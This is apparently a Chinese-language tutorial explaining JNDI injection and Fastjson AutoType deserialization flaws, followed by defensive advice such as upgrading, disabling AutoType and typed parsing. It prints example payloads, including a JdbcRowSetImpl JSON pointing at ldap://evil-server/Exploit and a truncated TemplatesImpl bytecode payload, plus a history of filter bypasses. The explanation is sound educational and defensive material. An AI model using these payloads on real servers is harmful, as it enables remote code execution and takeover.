Java安全:理解JNDI注入与Fastjson反序列化漏洞
文章目录概述一、JNDI 注入的基本原理1.1 JNDI 是什么1.2 LDAP 和 RMI 的角色1.3 完整攻击流程二、Fastjson 反序列化漏洞2.1 Fastjson 的 AutoType 机制2.2 攻击过程2.3 经典攻击链JdbcRowSetImpl JNDI 注入TemplatesImpl 字节码执行三、Fastjson 版本演进与攻防对抗四、如何防御4.1 升级到安全版本4.2 配置加固4.3 JNDI 相关防护4.4 架构层防护4.5 代码层面的好习惯五、总结核心要点学习建议概述在 Java 应用安全领域有两个经典且影响深远的漏洞JNDI 注入和 Fastjson 反序列化。这两个漏洞都能导致远程代码执行RCE让攻击者完全控制服务器。本文将从原理出发逐步解析这些漏洞是如何工作的以及我们该如何防御。一、JNDI 注入的基本原理1.1 JNDI 是什么JNDIJava Naming and Directory Interface是 Java 提供的一套标准 API用于查找各种命名和目录服务。简单说就是用一个名字去找到对应的对象。比如我们可以通过 JNDI 找到数据库连接池。JNDI 的核心就是 lookup 方法像这样ContextctxnewInitialContext();Objectobjctx.lookup(someName);问题在于如果 lookup 的参数来自用户输入而这个输入是一个远程地址那就危险了。1.2 LDAP 和 RMI 的角色JNDI 支持多种服务常见的有 LDAP 和 RMILDAP轻量级目录访问协议用于存储树形结构的数据RMIJava 远程方法调用允许调用远程 JVM 上的对象当 JNDI 访问这些服务时如果服务返回了特定类型的对象Java 会尝试加载和实例化它们甚至从远程下载类文件。1.3 完整攻击流程典型的 JNDI 注入攻击是这样的攻击者准备启动一个恶意 LDAP 服务器构造恶意输入把 ldap://evil-server/Exploit 这样的地址传给应用应用 lookup应用调用 InitialContext.lookup() 访问这个地址加载恶意类Java 从攻击者的服务器下载 Evil.class执行代码恶意类的静态代码块或构造函数执行系统命令早期 JDK8u121 之前默认允许远程加载类所以攻击很容易。后来 Oracle 逐步收紧限制但只要能找到本地存在的危险类仍然可以利用。二、Fastjson 反序列化漏洞2.1 Fastjson 的 AutoType 机制Fastjson 是一个 JSON 解析库性能很好。它有个特性叫 AutoType允许在 JSON 里用type指定要反序列化的类{type:com.example.User,name:test}这本来是方便的功能但如果type的值可以被攻击者控制就会出问题。2.2 攻击过程Fastjson 反序列化时会做这些事读取type字段得到类名用反射实例化这个类调用 setter 方法设置 JSON 里的属性有时还会调用 getter 方法攻击者就是利用这个过程找那些有危险 setter 或 getter 的类。2.3 经典攻击链JdbcRowSetImpl JNDI 注入com.sun.rowset.JdbcRowSetImpl是 JDK 自带的类它有个setDataSourceName()方法会调用 JNDI lookup。攻击者构造这样的 JSON{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://evil-server/Exploit,autoCommit:true}当 Fastjson 反序列化时先创建 JdbcRowSetImpl 对象调用 setDataSourceName 设置地址调用 setAutoCommit 时触发连接进而触发 JNDI lookup接着就和前面的 JNDI 注入一样了这适用于 Fastjson 1.2.24 之前的版本。TemplatesImpl 字节码执行后来 Fastjson 加了黑名单但com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl没被加进去。这个类可以加载字节码并执行。攻击者把恶意类编译后的字节码 Base64 编码放到_bytecodes字段里{type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes:[yv66vgAA...恶意字节码...],_name:Test,_outputProperties:{}}这样就不需要远程下载类了直接在本地执行恶意字节码。三、Fastjson 版本演进与攻防对抗Fastjson 的历史就是一场攻防对抗版本阶段防护措施绕过方法≤1.2.24几乎无防护JdbcRowSetImpl 直接攻击1.2.25-1.2.47黑名单TemplatesImpl 绕过1.2.48-1.2.68扩大黑名单LazyMap 等绕过≥1.2.80默认关闭 AutoType白名单配置不当漏洞2.0.29重构安全机制新型绕过已修复每一次官方修复攻击者都能找到新的方法绕过直到后来默认关闭了 AutoType。四、如何防御4.1 升级到安全版本这是最简单有效的方法Fastjson 1.x至少升级到 1.2.83Fastjson 2.x至少升级到 2.0.29最好的选择直接用 Fastjson2安全架构重新设计过4.2 配置加固1.x 版本// 全局关闭 AutoType这是核心ParserConfig.getGlobalInstance().setAutoTypeSupport(false);// 如果必须用只开放业务需要的类ParserConfig.getGlobalInstance().addAccept(com.company.model.User);ParserConfig.getGlobalInstance().addAccept(com.company.model.Order);2.x 版本默认就是安全的保持默认设置就行。4.3 JNDI 相关防护JDK 8u191 已经有默认防护但可以再加一层// 启动参数-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse-Dcom.sun.jndi.cosnaming.object.trustURLCodebasefalse-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse4.4 架构层防护网关过滤把 JSON 里的type字段直接去掉替换序列化库用 Jackson 或 Gson它们默认不支持动态类型监控告警发现有人用 JdbcRowSetImpl、TemplatesImpl 这些类就告警权限限制容器里的应用别给太高权限即使被攻破也干不了太多坏事4.5 代码层面的好习惯反序列化时显式指定类型// 好的做法指定类型UseruserJSON.parseObject(json,User.class);// 危险的做法用 Object 接收ObjectobjJSON.parseObject(json);// 别这样五、总结核心要点JNDI 注入信任了不可信的 lookup 参数导致加载恶意类Fastjson 漏洞AutoType 机制允许加载任意类结合危险类的方法执行代码最佳防御升级版本 关闭 AutoType 显式指定类型学习建议理解这些漏洞的原理很重要但更重要的是记住不要信任外部输入最小权限原则及时更新依赖库安全是一个持续的过程没有一劳永逸的解决方案。⚠️ 本文仅用于安全学习请勿在未授权系统上尝试任何攻击